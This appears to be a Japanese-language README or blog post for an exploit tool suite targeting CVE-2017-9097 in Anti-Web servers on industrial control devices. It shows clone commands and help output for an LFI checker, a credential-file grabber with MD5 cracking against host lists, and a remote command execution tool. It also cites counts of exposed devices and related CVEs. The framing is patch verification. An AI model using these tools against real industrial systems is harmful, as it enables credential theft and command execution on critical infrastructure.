
CVE-2017-9097 (+RCE) を利用するツールスイート
ICS/OT に関連する Web アプリケーションで、Anti-Web サーバー(バージョン 3.8.7 まで)上で動作するものに脆弱性が発見されました。 特定された脆弱性は、プロセス産業オートメーションおよび通信業界の複数の有名メーカーに影響を及ぼします。これらのデバイスには、すでに類似した古い CVE(CVE-2010-4730 および CVE-2010-4733)が存在していましたが、報告後に 3 つ目の CVE(2017-9097)が採番され、ベンダーは直ちにパッチをリリースしました。その後もすぐに他のパッチが続きました。
これらのデバイスが抱える露出度の大まかな参考として、Shodan にインデックスされたホストを利用します。これらは 800 台強の潜在的に脆弱なデバイスです。

本ツールが悪用しようとする LFI に関して、現在では影響を受ける各ベンダーは、この脆弱性を相殺する公式パッチをそれぞれリリース済みです。そのため、この欠陥の悪用を試みることは、これらの技術の運用者および責任者のコミットメントを裏付けることになり、根本的な問いに答えることになります。「対応するパッチは本当にインストールされたのだろうか?」
最初のツールの1つは、LFI の存在を悪用し、確認することを目的としています。2つ目のツールは、LFI を利用して、Web パネルへのアクセスを許可する認証情報が保存されているファイルを取得しようとします。そこではユーザー名は平文で、パスワードは md5 でハッシュ化されており、ツールはそのハッシュの解読を試みます。 そして最後に、RCE を悪用するツールがあります。
usr@pwn:~$ git clone https://github.com/ezelf/AntiWeb_testing-Suite
usr@pwn:~$ cd AntiWeb_testing-Suite
usr@pwn:~$ ls -l
total 16
drwxr-xr-x 4 root root 4096 sep 14 21:05 LFI
drwxr-xr-x 4 root root 4096 sep 14 21:05 RCE
-rwxrwxr-x 1 root root 1852 sep 24 08:42 README.md
drwxr-xr-x 3 root root 4096 sep 24 08:00 seekAndDestroy
定義済みのパスを照会し、ユーザーが独自のパスを渡すこともできるようにして、LFI の存在を確認するだけのツールです。
オプションとして、(有効な)セッション Cookie を渡すこともできます。
usr@pwn:~$ python anti-web-v1.py --help
usage: anti-web.py [-h] [-v] --host HOST [--port PORT] [--file LFI]
[+] CVE: CVE-2017-9097
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST host
--port PORT Set port (default = 80)
--file LFI Test LFI
-ck COOKIE Set Cookie
[+] Demo: anti-web.py --host 192.168.1.100 --port 80

このツールは LFI を有効に活用しようとするものです。そのために、Web アプリケーションへのアクセスを許可する認証情報が格納されている「/home/config/users.cfg」ファイルを対象とします。

「Seek And Destroy」は、このファイルを解析し、パスワードとそのユーザー名を連結して Md5 ハッシュ関数に通した結果のハッシュを特定します。 事前計算されたリストを使用して、これらのハッシュの背後に何が隠されているかを徐々に突き止めます。

単一のホストまたはホストのリストに対して個別に攻撃することができます。
usr@pwn:~$ python seekAndDestroy.py --help
usage: seekAndDestroy.py [-h] [-v] [--host HOST] [--list HOST_LIST]
[--port PORT]
[+] Obtain and break the credentials of your industrial control system .
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST host
--list HOST_LIST hosts
--port PORT set port (default = 80)
[+] Usage: seelAndDestroy.py --list host_list.txt --port 8080
そして、おそらく最も興味深い部分に到達しました。脆弱なシステムを支えるハードウェアのオペレーティングシステム上でコマンドを実行できる可能性です。 *** 「HTTP からシェルへ」 ***
.

#### 続く...(明日は月曜日。笑)
usr@pwn:~$ python rce.py --help
usage: RCE.py [-h] [-v] --host HOST [--port PORT] -ck COOKIE --cmd COMMAND
[+] COMMANDS over your industrial control system .
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST Host
--port PORT Port
-ck COOKIE Cookie
--cmd COMMAND Command
[+] Demo: python rce.py --host <host> -ck <sessionCookie> --cmd "ls -la /"
....お待ちください
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9097
* https://ics-cert.us-cert.gov/advisories/ICSA-17-222-05
* https://www.seebug.org/vuldb/ssvid-96555 (RCE)
* https://www.seebug.org/vuldb/ssvid-96556 (LFI)
* https://vuldb.com/es/?id.102570
* https://github.com/hoytech/antiweb/
* https://nvd.nist.gov/vuln/detail/CVE-2017-9097
* https://www.9165619.com/vulnerability/cve-2017-9097-89702
* http://old.cnnvd.org.cn/vulnerability/show/cv_id/2017051027
* http://jvndb.jvn.jp/ja/contents/2017/JVNDB-2017-005240.html
* http://plugins.openvas.org/nasl.php?oid=106886 (*down)
* http://webcache.googleusercontent.com/search?q=cache:Z1VaYjaZLB4J:plugins.openvas.org/nasl.php%3Foid%3D106886+&cd=1&hl=es-419&ct=clnk&gl=cl
''' [+] CVE-2009-4462 ( Intellicom NetBiterConfig.exe ) [+] CVE-2009-4463 ( Intellicom NetBiterConfig.exe ) (http://blog.48bits.com/exposing-hms-hicp-protocol-0day-light/)
[+] CVE-2010-4730 ( Directory traversal vulnerability in cgi-bin/read.cgi in WebSCADA )
[+] CVE-2010-4731 ( Absolute path traversal vulnerability in cgi-bin/read.cgi in WebSCADA )
[+] CVE-2010-4732 ( RCE, using a config.html 2.conf action to replace the logo page's GIF image file )
[+] CVE-2010-4733 ( default username and password to obtain superadmin access via the web interface )
Intellicom NetBiter products based on the NB100 and NB200 platforms, including:
WebSCADA (WS100)
WebSCADA (WS200)
Easy Connect (EC150)
Modbus RTU – TCP Gateway (MB100)
Serial Ethernet Server (SS100).
* https://ics-cert.us-cert.gov/advisories/ICSA-10-316-01A
'''
該当ツールは(AntiWeb_testing-Suite)にあります: https://github.com/ezelf/AntiWeb_testing-Suite/
3つのツールを組み合わせた最初のベータ版のビデオ: https://www.youtube.com/watch?v=HdkZA1DO08Y